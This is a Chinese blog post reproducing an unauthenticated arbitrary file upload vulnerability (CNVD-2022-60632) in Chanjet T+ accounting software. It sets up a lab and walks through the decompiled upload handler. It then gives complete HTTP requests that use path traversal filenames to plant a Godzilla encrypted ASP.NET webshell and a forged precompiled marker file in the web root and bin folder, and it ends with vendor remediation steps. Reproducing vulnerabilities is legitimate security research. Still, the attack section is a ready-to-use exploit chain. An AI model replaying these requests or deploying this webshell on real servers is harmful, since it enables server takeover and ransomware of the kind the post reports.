畅捷通T+任意文件上传(CNVD-2022-60632 )漏洞复现

发布时间 2023-10-17 14:30:04作者: Mr-Ryan

一、漏洞描述

022年8月29日和8月30日,畅捷通公司紧急发布安全补丁修复了畅捷通T+软件任意文件上传漏洞。未经身份认证的攻击者利用该漏洞,通过绕过系统鉴权,在特定配置环境下实现任意文件的上传,从而执行任意代码,获得服务器控制权限。目前,已有用户被不法分子利用该漏洞进行勒索病毒攻击的情况出现。

CNVD对该漏洞的综合评级为“高危”。

二、影响范围

漏洞影响的产品和版本:
畅捷通T+单机版<=17.0且使用IIS10.0以下版本。

三、环境搭建

https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip

  1. 下载并解压文件

image-20221012144129181.png

  1. 进行环境检测

image-20221012144312119.png

  1. 开始检测

image-20221012144405011.png

  1. 检测通过

image-20221012144516728.png

  1. 安装

image-20221012144550907.png

  1. 选择标准版进行安装,安装时请关闭杀毒软件

image-20221012144712389.png

  1. 等待安装完成,过程中需要配置MSSQL 数据库的。不设置即可

image-20221012144926299.png

  1. 安装完成

image-20221012162024082.png

四、漏洞审计

根据网上流传的payload,找到文件

TPlusStd\WebSite\SM\SetupAccount\Upload.aspx

image-20221012165421740.png
发现该文件为编译的文件
畅捷通整套程序用了预编译,直接到根目录的bin下找对应的compiled文件
image-20221012165948574.png

TPlusStd\WebSite\bin\uploadapp.aspx.ae7ca9bd.compiled

image-20221012165932304.png

<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/WebSite/App/UploadApp.aspx" hash="16f32931f" filehash="cea02207aaa6fee7" flags="110000" assembly="App_Web_uploadapp.aspx.ae7ca9bd" type="ASP.app_uploadapp_aspx">
    <filedeps>
        <filedep name="/WebSite/App/UploadApp.aspx" />
        <filedep name="/WebSite/App/UploadApp.aspx.cs" />
    </filedeps>
</preserve>

搜索 App_Web_uploadapp.aspx.ae7ca9bd
image-20221012170303629.png

// CommonPage_SetupAccount_Upload
// Token: 0x06000004 RID: 4 RVA: 0x000020AC File Offset: 0x000002AC
protected void Page_Load(object sender, EventArgs e)
{
	this.ReadResources();
	if (base.Request.Files.Count == 1)
	{
		string text = "images/index.gif";
		object obj = this.ViewState["fileName"];
		if (obj != null)
		{
			text = obj.ToString();
		}
		if (this.File1.PostedFile.ContentLength > 204800)
		{
			base.Response.Write(string.Concat(new string[]
			{
				"<script language='javascript'>alert('",
				this.PhotoTooLarge,
				"'); parent.document.getElementById('myimg').src='",
				text,
				"';</script>"
			}));
			return;
		}
		if (this.File1.PostedFile.ContentType != "image/jpeg" && this.File1.PostedFile.ContentType != "image/bmp" && this.File1.PostedFile.ContentType != "image/gif" && this.File1.PostedFile.ContentType != "image/pjpeg")
		{
			base.Response.Write(string.Concat(new string[]
			{
				"<script language='javascript'>alert('",
				this.PhotoTypeError,
				"'); parent.document.getElementById('myimg').src='",
				text,
				"';</script>"
			}));
			return;
		}
		string fileName = this.File1.PostedFile.FileName;
		string text2 = fileName.Substring(fileName.LastIndexOf('\\') + 1);
		this.File1.PostedFile.SaveAs(base.Server.MapPath(".") + "\\images\\" + text2);
		string text3 = base.Server.MapPath(".") + "\\images\\" + text2;
		this.ViewState["fileName"] = "images/" + text2;
		TPContext.Current.Session["ImageName"] = text3;
	}
}

代码大概的意思为。上传的文件不大于2M 然后判断Content-Type 是否为其中一个类型。然后写入到images 目录中。文件名没有任何过滤。

构造一下上传代码

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.154.139
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 183

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="222.aspx"
Content-Type: image/jpeg

1
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

image-20221012171454244.png

查看images文件中是否有这个文件
image-20221012171747815.png
发现能够成功上传

五、getshell

用哥斯拉生成一个木马
image-20221013135802607.png

然后cmd执行

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v /  -p C:\Tools C:\111 -fixednames

-p 代表的是你木马的目录。 C:\111 表示生成在那个目录中。

执行完毕后查看C:\111\bin目录
image-20221013135816088.png

把666.sapx上传到网站根目录
image-20221013140329332.png

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.154.129
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 1327

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../666.aspx"
Content-Type: image/jpeg

<%@ Page Language="C#"%><%try{string key = "3c6e0b8a9c15224a";byte[] data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(Context.Request.BinaryRead(Context.Request.ContentLength), 0, Context.Request.ContentLength);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); System.IO.MemoryStream outStream = new System.IO.MemoryStream();o.Equals(outStream);o.Equals(Context); o.Equals(data);o.ToString();byte[] r = outStream.ToArray();outStream.Dispose();Context.Response.BinaryWrite(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length));}}catch(System.Exception){}
%>                                      
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

把这两个文件上传到畅捷通的网站根目录的bin文件夹下
image-20221013135816088.png
image-20221013140656105.png

POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host: 192.168.154.129
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Length: 502

------WebKitFormBoundarywwk2ReqGTj7lNYlt
Content-Disposition: form-data; name="File1";filename="../../../bin/666.aspx.cdcab7d2.compiled"
Content-Type: image/jpeg

<?xml version="1.0" encoding="utf-8"?>
<preserve resultType="3" virtualPath="/666.aspx" hash="88eec7b1a" filehash="ffffcef8fb51b1fb" flags="110000" assembly="App_Web_666.aspx.cdcab7d2" type="ASP._666_aspx">
    <filedeps>
        <filedep name="/666.aspx" />
    </filedeps>
</preserve>
------WebKitFormBoundarywwk2ReqGTj7lNYlt--

使用哥斯拉连接shell
http://192.168.154.129/tplus/666.aspx?preload=1
image-20221013150351889.png
连接成功
image.png

六、修复建议

目前,畅捷通公司已紧急发布漏洞补丁修复该漏洞,CNVD建议受影响的单位和用户立即升级至最新版本:
https://www.chanjetvip.com/product/goods
同时,请受漏洞影响的单位和用户立即按照以下步骤开展自查和修复工作:
1、用户自查步骤:
查询本地是否存在website/bin/load.aspx.cdcab7d2.compiled、website/bin/App_Web_load.aspx.cdcab7d2.dll、tplus/Load.aspx文件,如存在说明已经中毒,须重装系统,并安装产品打补丁。

2、未中毒用户请:

  1. 更新最新产品补丁。
  2. 安装杀毒软件,并及时升级病毒库。
  3. 升级IIS和Nginx低版本至IIS10.0和Windows 2016。
  4. 本地安装客户需尽快确认备份文件是否完整,以及做了异地备份。云上客户请及时开启镜像功能。
  5. 未能及时更新补丁的用户,可联系畅捷通技术支持,采取删除文件等临时防范措施。

3、已中毒用户请:

  1. 检查服务器是否有做定期快照或备份,如有可通过快照或备份恢复数据。
  2. 联系畅捷通技术支持,确认是否具备从备份文件恢复数据的条件及操作方法。

参考链接:https://www.o2oxy.cn/4104.html